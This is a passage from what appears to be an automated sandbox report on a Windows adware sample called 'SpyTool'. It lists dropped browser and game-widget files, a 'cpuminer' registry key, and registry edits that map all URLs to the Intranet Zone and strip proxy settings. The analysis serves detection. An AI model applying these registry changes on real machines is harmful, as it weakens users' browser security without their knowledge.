%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\PepperFlash\manifest.json (2 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\nb.pak (206 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\nacl64.exe (12288 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\tr.pak (220 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ro.pak (228 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\sk.pak (229 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\nacl_irt_x86_64.nexe (20507 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\libexif.dll (303 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\chrome_elf.dll (125 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\lv.pak (225 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\sl.pak (211 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ml.pak (1826 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\pdf.dll (67091 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe (5873 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\sr.pak (1610 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\th.pak (1702 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Extensions\external_extensions.json (103 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\VisualElementsManifest.xml (392 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ko.pak (228 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\fi.pak (213 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\libegl.dll (204 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\te.pak (1761 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\kn.pak (1768 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\pt-PT.pak (222 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\chrome.7z (1161171 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\bn.pak (1731 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\uk.pak (1621 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\mr.pak (1708 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\wow_helper.exe (67 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\mybrowser.exe (3869 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\chrome_child.dll (261193 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\ffmpegsumo.dll (6337 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ms.pak (206 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\nl.pak (216 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin (4 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\en-GB.pak (189 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\VisualElements\smalllogo.png (9 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\da.pak (206 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\delegate_execute.exe (12288 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ja.pak (266 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\master_preferences (814 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\lt.pak (221 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\fil.pak (228 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\MyBrowser.lnk (1 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\el.pak (1667 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\hu.pak (235 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\sv.pak (207 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\vi.pak (247 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\PepperFlash\pepflashplayer.dll (122658 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\es-419.pak (226 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\pl.pak (220 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\libglesv2.dll (5442 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\VisualElements\splash-620x300.png (11 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\id.pak (202 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\chrmstp.exe (6841 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ru.pak (1612 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ta.pak (1784 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\hi.pak (1712 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\39.5.2171.95.manifest (222 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\chrome_100_percent.pak (7386 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\chrome.dll (237340 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\d3dcompiler_46.dll (22433 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\fr.pak (239 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\chrome_200_percent.pak (7972 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\setup.exe (6841 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\fa.pak (308 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\es.pak (230 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\bg.pak (1640 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\en-US.pak (189 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\it.pak (220 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\hr.pak (214 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\pt-BR.pak (217 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\cs.pak (223 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ca.pak (227 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\sw.pak (208 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\et.pak (201 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\he.pak (253 bytes)
%Documents and Settings%\All Users\Desktop\MyBrowser.lnk (1 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\resources.pak (121304 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\secondarytile.png (3 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\nacl_irt_x86_32.nexe (15801 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\VisualElements\logo.png (5 bytes)

The SpyTool deletes the following file(s):

%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin (0 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\prefs (0 bytes)
%Program Files%\MyBrowser\MyBrowser (0 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711 (0 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\wow_helper.exe (0 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\mybrowser.exe (0 bytes)

The process %original file name%.exe:396 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh5.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf2.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr4.tmp (7314 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf3.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (15 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsp1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh5.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf3.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)

The process gmsd_re_005010095.exe:1336 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010095\gmsd_re_005010095\1.20\cnf.cyl (269 bytes)

The process nst1D.tmp:1520 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\6895.exe (14988 bytes)

The process nss2D.tmp:1436 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-JSNSO.tmp\nss2D.tmp (3781 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-JSNSO.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-JSNSO.tmp\nss2D.tmp (0 bytes)

The process nss2D.tmp:372 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\All Users\Start Menu\Programs\GAMESDESKTOP\GamesDesktop.lnk (812 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\encrypt.exe (4185 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\is-02VBD.tmp (4185 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\is-7FIQF.tmp (8657 bytes)
%Program Files%\gmsd_re_005010095\gamesdesktop_widget.exe (77005 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\_isetup\_shfoldr.dll (23 bytes)
%Program Files%\gmsd_re_005010095\is-FIG3R.tmp (22284 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010095\upgmsd_re_005010095.exe (23062 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\is-F0BR9.tmp (2105 bytes)
%Program Files%\gmsd_re_005010095\unins000.dat (29605 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\gamesdesktop_widget.7z (15278 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\is-P30K2.tmp (7433 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\gmsd_re_005010095.7z (8657 bytes)
%Program Files%\gmsd_re_005010095\gmsd_re_005010095.exe (29430 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\predm.7z (2105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\ex.bat (1564 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp (4 bytes)
%Program Files%\gmsd_re_005010095\unins000.msg (375 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\is-JFB3K.tmp (15278 bytes)
%Program Files%\gmsd_re_005010095\predm.exe (2321 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\upgmsd_re_005010095.7z (7433 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\itdownload.dll (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\CheckProc.cmd (288 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\gamesdesktop_widget.7z (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\av.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\encrypt.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\predm.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\gmsd_re_005010095.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\_isetup\_shfoldr.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\upgmsd_re_005010095.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\gmsd_re_005010095.7z (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\upgmsd_re_005010095.7z (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\itdownload.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\_isetup (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\predm.7z (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\ex.bat (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\CheckProc.cmd (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\gamesdesktop_widget.exe (0 bytes)

Registry activity

The process nsb27.tmp:1108 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc2B.tmp\registry.dll,"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 21 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\InstallPath\Status]
"cpuminer" = "S"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "36 E0 59 87 62 99 58 F1 A6 84 1E B3 8A E4 55 30"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool deletes the following registry key(s):

[HKCU\Software\InternetTurbo]

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process taskkill.exe:1824 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "94 1C F9 DC 6D 8B 47 0C 68 B5 21 15 85 A8 40 C6"

The process taskkill.exe:844 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FA 7A F5 2F 49 C4 79 2A 5D BE D2 50 C3 E8 0F 2B"

The process taskkill.exe:2040 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "47 9D 17 4C 8F E2 6C 53 2A 58 3D 99 F1 C3 B7 92"

The process 6895.exe:928 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Tempo]
"(Default)" = "Tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Crossbrowse]
"Preinstall" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\CrossBrowser]
"Installation" = "1"

[HKCU\Software\Crossbrowse]
"Preinstall" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D9 C4 65 82 3A D1 D7 DE 93 F8 9C 2E 12 63 4A 58"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\4895]
"setup.exe" = "MyBrowser Installer"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool deletes the following registry key(s):

[HKLM\SOFTWARE\Tempo]

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nsjA.tmp:1028 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
